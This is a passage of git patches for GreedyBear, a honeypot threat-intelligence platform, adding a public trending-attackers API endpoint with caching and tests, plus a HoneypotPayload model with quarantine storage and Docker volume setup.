b/frontend/package.json @@ -56,7 +56,7 @@ "jsdom": "^29.1.1", "prettier": "^3.8.4", "stylelint": "^17.13.0", - "vite": "^8.0.16", + "vite": "^8.1.0", "vitest": "^4.1.9" } } From 3efd4504db80a81e5605a1627feacbbec4747cb9 Mon Sep 17 00:00:00 2001 From: Arnav Vinod Deshpande Date: Thu, 25 Jun 2026 17:37:37 +0530 Subject: [PATCH 056/131] Feat: Add API endpoint for trending attackers. Progresses #1071 (#1338) * api inclusion * cache from normallized outputs * shared cache framework * value error to cache.py * formatting fixes * view test * cache invalidation fixed * wiring serializer * wiring error --- api/serializers/feeds.py | 45 +++++ api/urls.py | 2 + api/views/feeds.py | 63 ++++++- greedybear/consts.py | 1 + greedybear/cronjobs/extraction/pipeline.py | 10 +- tests/api/views/test_feeds_trending_view.py | 163 ++++++++++++++++++ tests/api/views/test_feeds_view.py | 29 ++++ .../test_extraction_pipeline_edge_cases.py | 27 ++- tests/test_serializers.py | 42 ++++- 9 files changed, 355 insertions(+), 27 deletions(-) create mode 100644 tests/api/views/test_feeds_trending_view.py diff --git a/api/serializers/feeds.py b/api/serializers/feeds.py index 02bae0cfa..771a3a043 100644 --- a/api/serializers/feeds.py +++ b/api/serializers/feeds.py @@ -2,6 +2,7 @@ import logging from collections.abc import Mapping +from django.conf import settings from django.core import signing from django.core.exceptions import FieldDoesNotExist from rest_framework import serializers @@ -9,6 +10,7 @@ from api.serializers.common import SensorSerializer, TagSerializer from api.serializers.utils import feed_type_as_list, get_valid_feed_types from greedybear.consts import SHARE_TOKEN_MAX_AGE, SHARE_TOKEN_SALT +from greedybear.cronjobs.trending import validate_window_minutes from greedybear.enums import IpReputation from greedybear.models import IOC, ShareToken @@ -260,6 +262,23 @@ def to_internal_value(self, data: Mapping) -> dict: return validated +class TrendingFeedRequestSerializer(serializers.Serializer): + feed_type = FeedTypeField(default="all", help_text="Honeypot name list or `all`.") + window_minutes = serializers.IntegerField(min_value=60, default=24 * 60, help_text="Completed comparison window size in minutes.") + limit = serializers.IntegerField(min_value=1, max_value=1000, default=10, help_text="Maximum number of attackers to return.") + + def to_internal_value(self, data: Mapping) -> dict: + if isinstance(data, Mapping): + data = {key: value.lower() if isinstance(value, str) else value for key, value in data.items()} + return super().to_internal_value(data) + + def validate_window_minutes(self, value: int) -> int: + try: + return validate_window_minutes(value, settings.TRENDING_MAX_WINDOW_MINUTES) + except ValueError as exc: + raise serializers.ValidationError(str(exc)) from exc + + class TokenRequestSerializer(serializers.Serializer): """Resolve a signed share token to its DB record and decoded feed parameters.""" @@ -307,6 +326,32 @@ class ASNFeedSerializer(serializers.Serializer): honeypots = serializers.ListField(child=serializers.CharField(max_length=120)) +class TrendingAttackerSerializer(serializers.Serializer): + attacker_ip = serializers.IPAddressField() + current_interactions = serializers.IntegerField(min_value=0) + previous_interactions = serializers.IntegerField(min_value=0) + interaction_delta = serializers.IntegerField() + growth_score = serializers.FloatField() + current_rank = serializers.IntegerField(min_value=1, allow_null=True) + previous_rank = serializers.IntegerField(min_value=1, allow_null=True) + rank_delta = serializers.IntegerField(allow_null=True) + + +class TrendingWindowSerializer(serializers.Serializer): + start = serializers.DateTimeField() + end = serializers.DateTimeField() + + +class TrendingFeedResponseSerializer(serializers.Serializer): + window_minutes = serializers.IntegerField(min_value=60) + feed_type = serializers.ListField(child=serializers.CharField(max_length=120)) + current_window = TrendingWindowSerializer() + previous_window = TrendingWindowSerializer() + count = serializers.IntegerField(min_value=0) + data_source = serializers.CharField(max_length=32) + attackers = TrendingAttackerSerializer(many=True) + + class ShareTokenResponseSerializer(serializers.Serializer): """Response for the share endpoint: the public consume and revoke URLs.""" diff --git a/api/urls.py b/api/urls.py index 05755a6ae..570251fcc 100644 --- a/api/urls.py +++ b/api/urls.py @@ -12,6 +12,7 @@ ShareTokenViewSet, SimpleFeedView, StatisticsViewSet, + TrendingFeedView, command_sequence_view, cowrie_session_view, enrichment_view, @@ -35,6 +36,7 @@ path("feeds/", PaginatedFeedView.as_view()), path("feeds/advanced/", AdvancedFeedView.as_view()), path("feeds/asn/", AsnFeedView.as_view()), + path("feeds/trending/", TrendingFeedView.as_view()), path("feeds/share", ShareTokenViewSet.as_view({"get": "share"})), path("feeds/consume/", ConsumeFeedView.as_view()), path("feeds/revoke/", ShareTokenViewSet.as_view({"get": "revoke"})), diff --git a/api/views/feeds.py b/api/views/feeds.py index 63bdd8aa2..aed18cad4 100644 --- a/api/views/feeds.py +++ b/api/views/feeds.py @@ -1,6 +1,7 @@ # This file is a part of GreedyBear https://github.com/honeynet/GreedyBear # See the file 'LICENSE' for copying permission. import hashlib +from datetime import timedelta from certego_saas.apps.auth.backend import CookieTokenAuthentication from certego_saas.ext.pagination import CustomPageNumberPagination @@ -35,6 +36,8 @@ SimpleFeedRequestSerializer, TokenConsumeRequestSerializer, TokenRequestSerializer, + TrendingFeedRequestSerializer, + TrendingFeedResponseSerializer, ) from api.throttles import FeedsAdvancedThrottle, FeedsThrottle, SharedFeedRateThrottle from api.views.utils import ( @@ -42,7 +45,9 @@ build_feed_dict, save_request_source, ) -from greedybear.consts import SHARE_TOKEN_SALT +from greedybear.consts import SHARE_TOKEN_SALT, TRENDING_FEEDS_DATA_VERSION_KEY +from greedybear.cronjobs.repositories import TrendingBucketRepository +from greedybear.cronjobs.trending import build_ranked_attackers from greedybear.models import IOC, ShareToken RENDERERS_BY_FORMAT = { @@ -339,6 +344,62 @@ def render_response(self, request: Request, iocs_queryset: QuerySet) -> Response return Response(ASNFeedSerializer(rows, many=True).data) +@extend_schema_view( + get=extend_schema( + tags=["Feeds"], + summary="Public trending feed", + description=("Public endpoint that compares two consecutive completed windows of attacker activity and returns the top-ranked trending attackers."), + auth=[], + parameters=[TrendingFeedRequestSerializer], + responses={ + 200: TrendingFeedResponseSerializer, + 400: RESPONSES[400], + 429: RESPONSES[429], + }, + ) +) +class TrendingFeedView(RequestLoggingMixin, CachedResponseMixin, APIView): + authentication_classes = [] + permission_classes = [AllowAny] + throttle_classes = [FeedsThrottle] + cache_namespace = "trending_feeds" + cache_version_key = TRENDING_FEEDS_DATA_VERSION_KEY + + def get(self, request: Request) -> Response: + serializer = TrendingFeedRequestSerializer(data=request.query_params) + serializer.is_valid(raise_exception=True) + validated = serializer.validated_data + cached_response = self.get_cached_response() + if cached_response is not None: + return cached_response + + current_window_end = timezone.now().replace(minute=0, second=0, microsecond=0) + current_window_start = current_window_end - timedelta(minutes=validated["window_minutes"]) + previous_window_end = current_window_start + previous_window_start = previous_window_end - timedelta(minutes=validated["window_minutes"]) + + bucket_repo = TrendingBucketRepository() + current_counts = bucket_repo.get_counts_in_window(current_window_start, current_window_end, validated["feed_type"]) + previous_counts = bucket_repo.get_counts_in_window(previous_window_start, previous_window_end, validated["feed_type"]) + attackers = build_ranked_attackers(current_counts, previous_counts, validated["limit"]) + response_payload = { + "window_minutes": validated["window_minutes"], + "feed_type": validated["feed_type"], + "current_window": { + "start": current_window_start, + "end": current_window_end, + }, + "previous_window": { + "start": previous_window_start, + "end": previous_window_end, + }, + "count": len(attackers), + "data_source": "aggregated", + "attackers": attackers, + } + return Response(TrendingFeedResponseSerializer(instance=response_payload).data) + + @extend_schema_view( get=extend_schema( tags=["Feed Sharing"], diff --git a/greedybear/consts.py b/greedybear/consts.py index abbdbcab5..b617e9ccd 100644 --- a/greedybear/consts.py +++ b/greedybear/consts.py @@ -67,6 +67,7 @@ API_CACHE_ALIAS = "api" API_CACHE_TIMEOUT_SECONDS = 60 * 60 IOC_DATA_VERSION_KEY = "ioc_data_version" +TRENDING_FEEDS_DATA_VERSION_KEY = "trending_feeds_version" # tracking application start time START_TIME = time.time() diff --git a/greedybear/cronjobs/extraction/pipeline.py b/greedybear/cronjobs/extraction/pipeline.py index 8a8d05389..f67538856 100644 --- a/greedybear/cronjobs/extraction/pipeline.py +++ b/greedybear/cronjobs/extraction/pipeline.py @@ -1,10 +1,8 @@ import logging from collections import defaultdict -from django.core.cache import caches - from greedybear.cache import Cache -from greedybear.consts import API_CACHE_ALIAS, IOC_DATA_VERSION_KEY +from greedybear.consts import API_CACHE_ALIAS, IOC_DATA_VERSION_KEY, TRENDING_FEEDS_DATA_VERSION_KEY from greedybear.cronjobs.extraction.bucket_updater import BucketUpdater from greedybear.cronjobs.extraction.strategies.factory import ExtractionStrategyFactory from greedybear.cronjobs.repositories import ( @@ -128,10 +126,6 @@ def execute(self) -> int: if bucket_updater.total_update_count > 0: self.log.info("Invalidating feeds trending cache") - shared_cache = caches["django-q"] - try: - shared_cache.incr("trending_feeds_version") - except ValueError: - shared_cache.set("trending_feeds_version", 2, timeout=None) + Cache(API_CACHE_ALIAS).bump_data_version(TRENDING_FEEDS_DATA_VERSION_KEY) return ioc_record_count diff --git a/tests/api/views/test_feeds_trending_view.py b/tests/api/views/test_feeds_trending_view.py new file mode 100644 index 000000000..c77a28dff --- /dev/null +++ b/tests/api/views/test_feeds_trending_view.py @@ -0,0 +1,163 @@ +from datetime import datetime +from unittest.mock import patch + +from django.core.cache import cache + +from api.throttles import FeedsThrottle +from greedybear.cache import Cache +from greedybear.consts import API_CACHE_ALIAS, TRENDING_FEEDS_DATA_VERSION_KEY +from greedybear.models import AttackerActivityBucket +from tests import CustomTestCase + + +class FeedsTrendingViewTestCase(CustomTestCase): + def setUp(self): + super().setUp() + cache.clear() + Cache(API_CACHE_ALIAS).clear() + self.url = "/api/feeds/trending/" + + def test_200_trending_returns_ranked_attackers(self): + AttackerActivityBucket.objects.bulk_create( + [ + # Previous window: 08:00-09:00 + AttackerActivityBucket( + attacker_ip="1.1.1.1", + feed_type="cowrie", + bucket_start=datetime(2026, 3, 20, 8, 0), + interaction_count=2, + ), + # Current window: 09:00-10:00 + AttackerActivityBucket( + attacker_ip="1.1.1.1", + feed_type="cowrie", + bucket_start=datetime(2026, 3, 20, 9, 0), + interaction_count=10, + ), + AttackerActivityBucket( + attacker_ip="2.2.2.2", + feed_type="cowrie", + bucket_start=datetime(2026, 3, 20, 9, 0), + interaction_count=5, + ), + ] + ) + + with patch("api.views.feeds.timezone.now", return_value=datetime(2026, 3, 20, 10, 30, 0)): + response = self.client.get(f"{self.url}?feed_type=cowrie&window_minutes=60&limit=10") + + self.assertEqual(response.status_code, 200) + payload = response.json() + self.assertEqual(payload["window_minutes"], 60) + self.assertEqual(payload["feed_type"], ["cowrie"]) + self.assertEqual(payload["data_source"], "aggregated") + self.assertEqual(payload["count"], 2) + self.assertEqual(payload["attackers"][0]["attacker_ip"], "1.1.1.1") + self.assertTrue(payload["current_window"]["end"].startswith("2026-03-20T10:00:00")) + self.assertTrue(payload["previous_window"]["end"].startswith("2026-03-20T09:00:00")) + + def test_200_trending_filters_by_feed_type(self): + AttackerActivityBucket.objects.bulk_create( + [ + AttackerActivityBucket( + attacker_ip="3.3.3.3", + feed_type="cowrie", + bucket_start=datetime(2026, 3, 20, 9, 0), + interaction_count=4, + ), + AttackerActivityBucket( + attacker_ip="4.4.4.4", + feed_type="heralding", + bucket_start=datetime(2026, 3, 20, 9, 0), + interaction_count=9, + ), + ] + ) + + with patch("api.views.feeds.timezone.now", return_value=datetime(2026, 3, 20, 10, 30, 0)): + cowrie_response = self.client.get(f"{self.url}?feed_type=cowrie&window_minutes=60&limit=10") + all_response = self.client.get(f"{self.url}?feed_type=all&window_minutes=60&limit=10") + + self.assertEqual(cowrie_response.status_code, 200) + cowrie_attackers = {entry["attacker_ip"] for entry in cowrie_response.json()["attackers"]} + self.assertEqual(cowrie_attackers, {"3.3.3.3"}) + + self.assertEqual(all_response.status_code, 200) + all_attackers = {entry["attacker_ip"] for entry in all_response.json()["attackers"]} + self.assertEqual(all_attackers, {"3.3.3.3", "4.4.4.4"}) + + def test_400_trending_rejects_invalid_window_minutes(self): + response = self.client.get(f"{self.url}?window_minutes=90") + self.assertEqual(response.status_code, 400) + errors = response.json().get("errors", response.json()) + self.assertIn("window_minutes", errors) + + def test_trending_uses_cache_for_same_query_and_window(self): + with patch("api.views.feeds.TrendingBucketRepository.get_counts_in_window") as mock_get_counts: + mock_get_counts.side_effect = [ + {"5.5.5.5": 10}, + {"5.5.5.5": 6}, + ] + with patch("api.views.feeds.timezone.now", return_value=datetime(2026, 3, 20, 10, 30, 0)): + response_1 = self.client.get(f"{self.url}?feed_type=all&window_minutes=60&limit=10") + response_2 = self.client.get(f"{self.url}?feed_type=all&window_minutes=60&limit=10") + + self.assertEqual(response_1.status_code, 200) + self.assertEqual(response_2.status_code, 200) + self.assertEqual(mock_get_counts.call_count, 2) + self.assertEqual(response_1.json(), response_2.json()) + + def test_trending_cache_version_bump_forces_recompute(self): + with patch("api.views.feeds.TrendingBucketRepository.get_counts_in_window") as mock_get_counts: + mock_get_counts.side_effect = [ + {"6.6.6.6": 7}, + {"6.6.6.6": 2}, + {"6.6.6.6": 7}, + {"6.6.6.6": 2}, + ] + with patch("api.views.feeds.timezone.now", return_value=datetime(2026, 3, 20, 10, 30, 0)): + first = self.client.get(f"{self.url}?feed_type=all&window_minutes=60&limit=10") + Cache(API_CACHE_ALIAS).bump_data_version(TRENDING_FEEDS_DATA_VERSION_KEY) + second = self.client.get(f"{self.url}?feed_type=all&window_minutes=60&limit=10") + + self.assertEqual(first.status_code, 200) + self.assertEqual(second.status_code, 200) + self.assertEqual(mock_get_counts.call_count, 4) + + def test_trending_normalizes_feed_type_case(self): + AttackerActivityBucket.objects.create( + attacker_ip="7.7.7.7", + feed_type="cowrie", + bucket_start=datetime(2026, 3, 20, 9, 0), + interaction_count=4, + ) + + with patch("api.views.feeds.timezone.now", return_value=datetime(2026, 3, 20, 10, 30, 0)): + response = self.client.get(f"{self.url}?feed_type=Cowrie&window_minutes=60&limit=10") + + self.assertEqual(response.status_code, 200) + self.assertEqual({entry["attacker_ip"] for entry in response.json()["attackers"]}, {"7.7.7.7"}) + + def test_trending_endpoint_uses_feeds_throttle(self): + cache.clear() + try: + with patch.object(FeedsThrottle, "THROTTLE_RATES", {"feeds": "1/minute"}): + first = self.client.get(f"{self.url}?feed_type=all&window_minutes=60&limit=10") + second = self.client.get(f"{self.url}?feed_type=all&window_minutes=60&limit=10") + finally: + cache.clear() + + self.assertEqual(first.status_code, 200) + self.assertEqual(second.status_code, 429) + + def test_trending_and_regular_feeds_share_same_throttle_scope(self): + cache.clear() + try: + with patch.object(FeedsThrottle, "THROTTLE_RATES", {"feeds": "1/minute"}): + first = self.client.get("/api/feeds/all/all/recent.json") + second = self.client.get(f"{self.url}?feed_type=all&window_minutes=60&limit=10") + finally: + cache.clear() + + self.assertEqual(first.status_code, 200) + self.assertEqual(second.status_code, 429) diff --git a/tests/api/views/test_feeds_view.py b/tests/api/views/test_feeds_view.py index 16346fd7e..f2d85320c 100644 --- a/tests/api/views/test_feeds_view.py +++ b/tests/api/views/test_feeds_view.py @@ -1,6 +1,10 @@ +from unittest.mock import patch + from django.conf import settings +from django.core.cache import cache from django.test import override_settings +from api.throttles import FeedsThrottle from tests import CustomTestCase @@ -177,3 +181,28 @@ def test_200_feeds_pagination_ordering_value_asc(self): values = [ioc["value"] for ioc in response.json()["results"]["iocs"]] self.assertEqual(values, sorted(values)) + + def test_feeds_endpoint_uses_feeds_throttle(self): + cache.clear() + try: + with patch.object(FeedsThrottle, "THROTTLE_RATES", {"feeds": "1/minute"}): + first = self.client.get("/api/feeds/all/all/recent.json") + second = self.client.get("/api/feeds/all/all/recent.json") + finally: + cache.clear() + + self.assertEqual(first.status_code, 200) + self.assertEqual(second.status_code, 429) + + def test_feeds_pagination_endpoint_uses_feeds_throttle(self): + url = "/api/feeds/?page_size=10&page=1&feed_type=all&attack_type=all&age=recent" + cache.clear() + try: + with patch.object(FeedsThrottle, "THROTTLE_RATES", {"feeds": "1/minute"}): + first = self.client.get(url) + second = self.client.get(url) + finally: + cache.clear() + + self.assertEqual(first.status_code, 200) + self.assertEqual(second.status_code, 429) diff --git a/tests/greedybear/cronjobs/test_extraction_pipeline_edge_cases.py b/tests/greedybear/cronjobs/test_extraction_pipeline_edge_cases.py index 9473dd16a..a5e92e3ad 100644 --- a/tests/greedybear/cronjobs/test_extraction_pipeline_edge_cases.py +++ b/tests/greedybear/cronjobs/test_extraction_pipeline_edge_cases.py @@ -14,6 +14,7 @@ from unittest.mock import MagicMock, patch +from greedybear.consts import TRENDING_FEEDS_DATA_VERSION_KEY from tests import E2ETestCase, MockElasticHit @@ -89,11 +90,11 @@ def test_activity_bucket_update_failure_does_not_abort_extraction(self, mock_fac bucket_updater.collect_hits.assert_called_once() bucket_updater.update.assert_called_once() - @patch("greedybear.cronjobs.extraction.pipeline.caches") + @patch("greedybear.cronjobs.extraction.pipeline.Cache.bump_data_version") @patch("greedybear.cronjobs.extraction.pipeline.BucketUpdater") @patch("greedybear.cronjobs.extraction.pipeline.UpdateScores") @patch("greedybear.cronjobs.extraction.pipeline.ExtractionStrategyFactory") - def test_bucket_updates_invalidate_trending_cache(self, mock_factory, mock_scores, mock_bucket_updater_cls, mock_caches): + def test_bucket_updates_invalidate_trending_cache(self, mock_factory, mock_scores, mock_bucket_updater_cls, mock_bump_data_version): pipeline = self._create_pipeline_with_real_factory() pipeline.log = MagicMock() @@ -111,22 +112,19 @@ def test_bucket_updates_invalidate_trending_cache(self, mock_factory, mock_score mock_strategy.ioc_records = [] mock_factory.return_value.get_strategy.return_value = mock_strategy - shared_cache = MagicMock() - mock_caches.__getitem__.return_value = shared_cache - result = pipeline.execute() self.assertEqual(result, 0) bucket_updater.collect_hits.assert_called_once() bucket_updater.update.assert_called_once() - shared_cache.incr.assert_called_once_with("trending_feeds_version") + mock_bump_data_version.assert_called_once_with(TRENDING_FEEDS_DATA_VERSION_KEY) mock_scores.return_value.score_only.assert_not_called() - @patch("greedybear.cronjobs.extraction.pipeline.caches") + @patch("greedybear.cronjobs.extraction.pipeline.Cache.bump_data_version") @patch("greedybear.cronjobs.extraction.pipeline.BucketUpdater") @patch("greedybear.cronjobs.extraction.pipeline.UpdateScores") @patch("greedybear.cronjobs.extraction.pipeline.ExtractionStrategyFactory") - def test_disabled_honeypot_hits_do_not_update_activity_buckets(self, mock_factory, mock_scores, mock_bucket_updater_cls, mock_caches): + def test_disabled_honeypot_hits_do_not_update_activity_buckets(self, mock_factory, mock_scores, mock_bucket_updater_cls, mock_bump_data_version): """Hits from honeypots not ready for extraction must be excluded from bucket updates.""" pipeline = self._create_pipeline_with_real_factory() pipeline.log = MagicMock() @@ -147,9 +145,6 @@ def test_disabled_honeypot_hits_do_not_update_activity_buckets(self, mock_factor mock_strategy.ioc_records = [] mock_factory.return_value.get_strategy.return_value = mock_strategy - shared_cache = MagicMock() - mock_caches.__getitem__.return_value = shared_cache - pipeline.execute() # collect_hits must be called exactly once, only with hits from the enabled honeypot. @@ -158,12 +153,13 @@ def test_disabled_honeypot_hits_do_not_update_activity_buckets(self, mock_factor self.assertEqual(len(passed_hits), 1) self.assertEqual(passed_hits[0]["type"], "EnabledHoneypot") self.assertEqual(passed_hits[0]["src_ip"], "2.2.2.2") + mock_bump_data_version.assert_not_called() - @patch("greedybear.cronjobs.extraction.pipeline.caches") + @patch("greedybear.cronjobs.extraction.pipeline.Cache.bump_data_version") @patch("greedybear.cronjobs.extraction.pipeline.BucketUpdater") @patch("greedybear.cronjobs.extraction.pipeline.UpdateScores") @patch("greedybear.cronjobs.extraction.pipeline.ExtractionStrategyFactory") - def test_all_honeypots_disabled_skips_bucket_updates_entirely(self, mock_factory, mock_scores, mock_bucket_updater_cls, mock_caches): + def test_all_honeypots_disabled_skips_bucket_updates_entirely(self, mock_factory, mock_scores, mock_bucket_updater_cls, mock_bump_data_version): """When every honeypot in a chunk is disabled, no hits are collected and the trending cache is not invalidated.""" pipeline = self._create_pipeline_with_real_factory() pipeline.log = MagicMock() @@ -179,14 +175,11 @@ def test_all_honeypots_disabled_skips_bucket_updates_entirely(self, mock_factory bucket_updater = mock_bucket_updater_cls.return_value bucket_updater.total_update_count = 0 - shared_cache = MagicMock() - mock_caches.__getitem__.return_value = shared_cache - pipeline.execute() bucket_updater.collect_hits.assert_not_called() mock_factory.return_value.get_strategy.assert_not_called() - shared_cache.incr.assert_not_called() + mock_bump_data_version.assert_not_called() class TestLargeBatches(E2ETestCase): diff --git a/tests/test_serializers.py b/tests/test_serializers.py index 465244990..ec6ec97d3 100644 --- a/tests/test_serializers.py +++ b/tests/test_serializers.py @@ -1,12 +1,14 @@ import random from itertools import product +from django.test import override_settings from rest_framework.serializers import ValidationError from api.serializers import ( AdvancedFeedRequestSerializer, IOCSerializer, SimpleFeedResponseSerializer, + TrendingFeedRequestSerializer, feed_type_as_list, ) from greedybear.consts import PAYLOAD_REQUEST, SCANNER @@ -35,7 +37,45 @@ def test_all_type(self): self.assertEqual(feed_type_as_list("all"), ["all"]) -class AdvancedFeedRequestSerializersTestCase(CustomTestCase): +class TrendingFeedRequestSerializerTestCase(CustomTestCase): + def _serializer(self, data): + return TrendingFeedRequestSerializer(data=data) + + def test_defaults_are_applied(self): + serializer = self._serializer({}) + self.assertTrue(serializer.is_valid(), serializer.errors) + self.assertEqual(serializer.validated_data["feed_type"], ["all"]) + self.assertEqual(serializer.validated_data["window_minutes"], 24 * 60) + self.assertEqual(serializer.validated_data["limit"], 10) + + def test_feed_type_is_normalized_to_lowercase(self): + serializer = self._serializer({"feed_type": "Cowrie,Heralding", "window_minutes": 60, "limit": 5}) + self.assertTrue(serializer.is_valid(), serializer.errors) + self.assertEqual(serializer.validated_data["feed_type"], ["cowrie", "heralding"]) + + def test_feed_type_all_cannot_be_combined(self): + serializer = self._serializer({"feed_type": "all,cowrie", "window_minutes": 60, "limit": 5}) + self.assertFalse(serializer.is_valid()) + self.assertIn("feed_type", serializer.errors) + + @override_settings(TRENDING_MAX_WINDOW_MINUTES=120) + def test_window_minutes_rejects_values_above_configured_max(self): + serializer = self._serializer({"feed_type": "cowrie", "window_minutes": 180, "limit": 5}) + self.assertFalse(serializer.is_valid()) + self.assertIn("window_minutes", serializer.errors) + + def test_window_minutes_rejects_non_hour_multiples(self): + serializer = self._serializer({"feed_type": "cowrie", "window_minutes": 90, "limit": 5}) + self.assertFalse(serializer.is_valid()) + self.assertIn("window_minutes", serializer.errors) + + def test_limit_rejects_values_above_max(self): + serializer = self._serializer({"feed_type": "cowrie", "window_minutes": 60, "limit": 1001}) + self.assertFalse(serializer.is_valid()) + self.assertIn("limit", serializer.errors) + + +class FeedsRequestSerializersTestCase(CustomTestCase): @classmethod def setUpTestData(cls): super().setUpTestData() From 7291a027a2afdee2b70218750c1c1101288c8a5e Mon Sep 17 00:00:00 2001 From: Krishna Awasthi <140143710+opbot-xd@users.noreply.github.com> Date: Mon, 29 Jun 2026 11:16:31 +0530 Subject: [PATCH 057/131] =?UTF-8?q?feat:=20introduce=20HoneypotPayload=20m?= =?UTF-8?q?odel=20with=20custom=20quarantine=20storage=20=E2=80=A6=20(#142?= =?UTF-8?q?2)?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit * feat: introduce HoneypotPayload model with custom quarantine storage backend * feat: increase mime_type field length to 255 in HoneypotPayload model * feat: implement quarantine directory with persistent volume and correct permissions * refactor: enforce unique sha256 and update HoneypotPayload to use ManyToMany relationships for related entities * feat: make sha256 field mandatory in HoneypotPayload model --- docker/Dockerfile | 5 +-- docker/default.yml | 3 ++ docker/entrypoint_gunicorn.sh | 3 +- docker/entrypoint_qcluster.sh | 4 +-- greedybear/admin.py | 18 +++++++++++ greedybear/migrations/0059_honeypotpayload.py | 31 +++++++++++++++++++ greedybear/models.py | 22 +++++++++++++ greedybear/settings.py | 1 + greedybear/storage.py | 25 +++++++++++++++ tests/test_models.py | 24 +++++++++++++- tests/test_storage.py | 20 ++++++++++++ 11 files changed, 150 insertions(+), 6 deletions(-) create mode 100644 greedybear/migrations/0059_honeypotpayload.py create mode 100644 greedybear/storage.py create mode 100644 tests/test_storage.py diff --git a/docker/Dockerfile b/docker/Dockerfile index d2c02a12e..f1f5470a7 100644 --- a/docker/Dockerfile +++ b/docker/Dockerfile @@ -34,6 +34,7 @@ ENV DJANGO_SETTINGS_MODULE=greedybear.settings ENV APP_ROOT=/opt/deploy/greedybear ENV LOG_PATH=/var/log/greedybear ENV UV_PROJECT_ENVIRONMENT=/usr/local +ENV QUARANTINE_PATH=/var/lib/greedybear/quarantine WORKDIR $APP_ROOT @@ -67,8 +68,8 @@ RUN mkdir -p ${LOG_PATH}/django ${LOG_PATH}/gunicorn \ && touch ${LOG_PATH}/django/django_q.log ${LOG_PATH}/django/django_q_errors.log \ && touch ${LOG_PATH}/django/django_errors.log ${LOG_PATH}/django/elasticsearch.log \ && touch ${LOG_PATH}/django/authentication.log ${LOG_PATH}/django/authentication_errors.log \ - && mkdir -p ${APP_ROOT}/mlmodels \ - && chown -R www-data:www-data ${LOG_PATH} /opt/deploy/ ${APP_ROOT}/mlmodels/ \ + && mkdir -p ${APP_ROOT}/mlmodels ${QUARANTINE_PATH} \ + && chown -R www-data:www-data ${LOG_PATH} /opt/deploy/ ${APP_ROOT}/mlmodels/ ${QUARANTINE_PATH} \ && rm -rf frontend/ diff --git a/docker/default.yml b/docker/default.yml index 699d4abfa..51b9be6a4 100644 --- a/docker/default.yml +++ b/docker/default.yml @@ -25,6 +25,7 @@ services: - generic_logs:/var/log/greedybear - static_content:/opt/deploy/greedybear/static - gunicorn_sockets:/run/gunicorn + - quarantine_data:/var/lib/greedybear/quarantine entrypoint: - ./docker/entrypoint_gunicorn.sh command: ["gunicorn", "greedybear.wsgi:application", "-c", "/etc/gunicorn/config.py"] @@ -77,6 +78,7 @@ services: volumes: - generic_logs:/var/log/greedybear - mlmodels:/opt/deploy/greedybear/mlmodels + - quarantine_data:/var/lib/greedybear/quarantine env_file: - env_file depends_on: @@ -94,3 +96,4 @@ volumes: static_content: mlmodels: gunicorn_sockets: + quarantine_data: diff --git a/docker/entrypoint_gunicorn.sh b/docker/entrypoint_gunicorn.sh index 26a681949..2ed5e8a01 100755 --- a/docker/entrypoint_gunicorn.sh +++ b/docker/entrypoint_gunicorn.sh @@ -25,10 +25,11 @@ python manage.py collectstatic --noinput --clear --verbosity 0 # Ensure log directories exist (volumes may persist from older builds) mkdir -p /var/log/greedybear/gunicorn mkdir -p /run/gunicorn +mkdir -p /var/lib/greedybear/quarantine # Fix log file ownership (manage.py commands above run as root # and may create new log files owned by root instead of www-data) -chown -R www-data:www-data /var/log/greedybear /run/gunicorn +chown -R www-data:www-data /var/log/greedybear /run/gunicorn /var/lib/greedybear/quarantine # Obtain the current GreedyBear version number GREEDYBEAR_VERSION=$(uv version --short) diff --git a/docker/entrypoint_qcluster.sh b/docker/entrypoint_qcluster.sh index 965a94211..047b54506 100755 --- a/docker/entrypoint_qcluster.sh +++ b/docker/entrypoint_qcluster.sh @@ -1,7 +1,7 @@ #!/bin/bash -# Fix mlmodels ownership (volumes may retain files owned by a previous UID) -chown -R www-data:www-data /opt/deploy/greedybear/mlmodels +# Fix mlmodels and honeypot payloads ownership (volumes may retain files owned by a previous UID) +chown -R www-data:www-data /opt/deploy/greedybear/mlmodels /var/lib/greedybear/quarantine if [ "$DJANGO_TEST_SERVER" = "True" ]; then # Dev mode: run as root (needed for hot-reload on volume-mounted source) diff --git a/greedybear/admin.py b/greedybear/admin.py index 1178aedc3..2a6919dfd 100644 --- a/greedybear/admin.py +++ b/greedybear/admin.py @@ -16,6 +16,7 @@ EventStatus, FireHolList, Honeypot, + HoneypotPayload, MassScanner, RawEvent, Sensor, @@ -361,3 +362,20 @@ def get_queryset(self, request): "sensor__api_source", ) ) + + +@admin.register(HoneypotPayload) +class HoneypotPayloadAdmin(admin.ModelAdmin): + list_display = [ + "sha256", + "mime_type", + "size", + "get_source_honeypots", + ] + search_fields = ["sha256", "md5", "sha1", "mime_type"] + list_filter = ["source_honeypots", "mime_type"] + readonly_fields = ["payload_file"] + + @admin.display(description="Source Honeypots") + def get_source_honeypots(self, obj): + return ", ".join([h.name for h in obj.source_honeypots.all()]) diff --git a/greedybear/migrations/0059_honeypotpayload.py b/greedybear/migrations/0059_honeypotpayload.py new file mode 100644 index 000000000..b154ee3fe --- /dev/null +++ b/greedybear/migrations/0059_honeypotpayload.py @@ -0,0 +1,31 @@ +# Generated by Django 5.2.14 on 2026-06-26 15:49 + +import greedybear.storage +from django.db import migrations, models + + +class Migration(migrations.Migration): + + dependencies = [ + ('greedybear', '0058_eventstatus_rawevent_and_more'), + ] + + operations = [ + migrations.CreateModel( + name='HoneypotPayload', + fields=[ + ('id', models.BigAutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), + ('payload_file', models.FileField(blank=True, null=True, storage=greedybear.storage.QuarantineStorage(), upload_to='')), + ('md5', models.CharField(blank=True, default='', max_length=32)), + ('sha1', models.CharField(blank=True, default='', max_length=40)), + ('sha256', models.CharField(max_length=64, unique=True)), + ('mime_type', models.CharField(blank=True, default='', max_length=255)), + ('size', models.PositiveIntegerField(blank=True, null=True)), + ('locator', models.CharField(blank=True, default='', max_length=1024)), + ('mtime', models.FloatField(blank=True, null=True)), + ('cowrie_sessions', models.ManyToManyField(blank=True, related_name='payloads', to='greedybear.cowriesession')), + ('iocs', models.ManyToManyField(blank=True, related_name='payloads', to='greedybear.ioc')), + ('source_honeypots', models.ManyToManyField(blank=True, to='greedybear.honeypot')), + ], + ), + ] diff --git a/greedybear/models.py b/greedybear/models.py index 69a235e15..72df8be60 100644 --- a/greedybear/models.py +++ b/greedybear/models.py @@ -6,6 +6,7 @@ from greedybear.enums import IpReputation from greedybear.settings import AUTH_USER_MODEL +from greedybear.storage import QuarantineStorage class ViewType(models.TextChoices): @@ -481,3 +482,24 